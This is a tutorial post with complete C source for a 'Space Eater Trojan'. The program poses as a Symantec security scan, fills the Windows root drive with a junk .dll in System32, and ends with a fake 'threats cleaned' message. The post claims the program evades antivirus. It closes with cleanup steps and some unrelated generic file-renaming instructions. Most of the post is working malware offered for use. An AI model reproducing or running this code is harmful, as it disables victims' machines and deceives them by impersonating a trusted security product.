Most of you may be curious to know about how to make a Trojan or Virus on your own. Here is an answer for your curiosity. In this post I’ll show you how to make a simple Trojan on your own using C programming language. This Trojan when executed will eat up the hard disk space on the root drive (The drive on which Windows is installed, usually C: Drive) of the computer on which it is run. Also this Trojan works pretty quickly and is capable of eating up approximately 1 GB of hard disk space for every minute it is run. So, I’ll call this as Space Eater Trojan. Since this Trojan is written using a high level programming language it is often undetected by antivirus. The source code for this Trojan is available for download at the end of this post. Let’s see how this Trojan works…

Before I move to explain the features of this Trojan you need to know what exactly is a Trojan horse and how it works. As most of us think a Trojan or a Trojan horse is not a virus. In simple words a Trojan horse is a program that appears to perform a desirable function but in fact performs undisclosed malicious functions that allow unauthorized access to the host machine or create a damage to the computer.


Now lets move to the working of our Trojan

The Trojan horse which I have made appears itself as an antivirus program that scans the computer and removes the threats. But in reality it does nothing but occupy the hard disk space on the root drive by just filling it up with a huge junk file. The rate at which it fills up the hard disk space it too high. As a result the the disk gets filled up to 100% with in minutes of running this Trojan. Once the disk space is full, the Trojan reports that the scan is complete. The victim will not be able to clean up the hard disk space using any cleanup program. This is because the Trojan intelligently creates a huge file in the Windows\System32 folder with the .dll extension. Since the junk file has the .dll extention it is often ignored by disk cleanup softwares. So for the victim, there is now way to recover the hard disk space unless reformatting his drive.


The algorithm of the Trojan is as follows

1. Search for the root drive

2. Navigate to WindowsSystem32 on the root drive

3. Create the file named “spceshot.dll”

4. Start dumping the junk data onto the above file and keep increasing it’s size until the drive is full

5. Once the drive Here is is full, stop the process.

Here is the C code of torjan......
/* SPACE EATER TROJAN BY SRIKANTH. USE IT FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD!*/

#include<stdio.h>
#include<conio.h>
#include<dos.h>
#include<stdlib.h>
FILE *a,*t,*b;
int r,status,vir_count;
double i;
char ch[]="CREATING A HUGE FILE FOR OCCUPYING HARDDISK SPACE",choice;

void eatspace(void);
void findroot(void);
void showstatus(void);
void draw(void);
void accept(void);

void main()
{
draw();
accept();
textcolor(WHITE);
draw();
gotoxy(12,8);
cputs("ANALYZING YOUR SYSTEM. PLEASE WAIT...");
sleep(3);
gotoxy(12,8);
delline();
cputs("PRESS ANY KEY TO START THE SYSTEM SCAN...");
getch();
gotoxy(12,8);
delline();
findroot();
}

void accept()
{
textcolor(LIGHTRED);
gotoxy(1,8);
cputs("THIS PROGRAM IS A DEMO OF SIMPLE TROJAN HORSE. IF YOU RUN THIS PROGRAM IT WILL\n\rEAT UP YOUR FULL HARD DISK SPACE ON ROOT DRIVE. HOWEVER IT IS POSSIBLE TO\n\rELIMINATE THE DAMAGE.\n\n\rTO CLEANUP THE DAMAGE YOU\'VE TO DELETE THE FILE \"spceshot.dll\" LOCATED IN\n\n\r \"%windir%\\System32\".\n\n\rIF YOU WISH TO RUN THE PROGRAM PRESS ENTER, OTHERWISE PRESS ANY KEY TO QUIT.");

if((choice=getch())!=13)
exit(0);
}

void draw()
{
clrscr();
textcolor(WHITE);
gotoxy(12,2);
cputs("********************************************************");
gotoxy(12,6);
cputs("********************************************************");
gotoxy(12,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(67,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(14,4);
cputs("SYMANTEC SECURITY SCAN - 2009 (QUICK SYSTEM SCANNER)");
}

void findroot()
{
t=fopen("C:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
textcolor(WHITE);
a=fopen("C:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("C:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("D:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("D:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("D:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("E:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("E:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("E:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("F:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("F:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("F:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
if(t==NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN FAILED! PRESS ANY KEY TO CLOSE THIS PROGRAM.");
getch();
exit(1);
}
exit(1);
}

void eatspace()
{
textcolor(LIGHTRED);
gotoxy(12,16);
cputs("WARNING: DO NOT ABORT THE SCAN PROCESS UNTIL IT IS COMPLETED!\n");
textcolor(WHITE);
gotoxy(12,18);
while(1)
{
for(r=1;r<4;r++)
{
for(i=1;i<900000;i++)
{
status=fputs(ch,b);
if(status==EOF)
{
textcolor(WHITE);
vir_count=random(120);
draw();
gotoxy(12,8);
cprintf("SCAN COMPLETE!. DETECTED AND CLEANED OVER %d THREATS!",vir_count);
gotoxy(12,10);
cprintf("PRESS ANY KEY TO CLOSE...");
getch();
break;
}
}
cputs(".");
if(status==EOF) break;
}
if(status==EOF) break;
}
exit(0);
}

void showstatus()
{
gotoxy(12,8);
cputs("SCANNING THE SYSTEM FOR THREATS");
gotoxy(12,10);
cputs("THIS MAY TAKE UP A FEW MINUTES TO FEW HOURS");
gotoxy(12,13);
cputs("SCAN IN PROGRESS. PLEASE WAIT...");
}


How to remove the Damage and free up the space?

To remove the damage and free up the space, just type the following in the “run” dialog box.
%systemroot%\system32

Now search for the file “spceshot.dll“. Just delete it and you’re done. No need to re-format the hard disk.

In Windows XP/Vista :-

1.In Windows XP/Vista, click "Start." Click "Run" (only Windows XP). Then type "cmd" and press "Enter" to open the command prompt window.

2.In the MS-DOS shell window, type "cd c:\path\to\file" and press "Enter." Example:
cd c:\user\test. If the designated file is on a different logical drive (e.g., on drive D) type "d:" and press "Enter." Then type the "cd" command as above.

3.Type "dir" followed by "Enter" to list the directory content and find the designated file.

4.Type "rename filename.ext filename.new" and press "Enter"; ".new" is the new file extension ("filename.ext" stands for any file you might have; for example:
rename report.txt report.doc).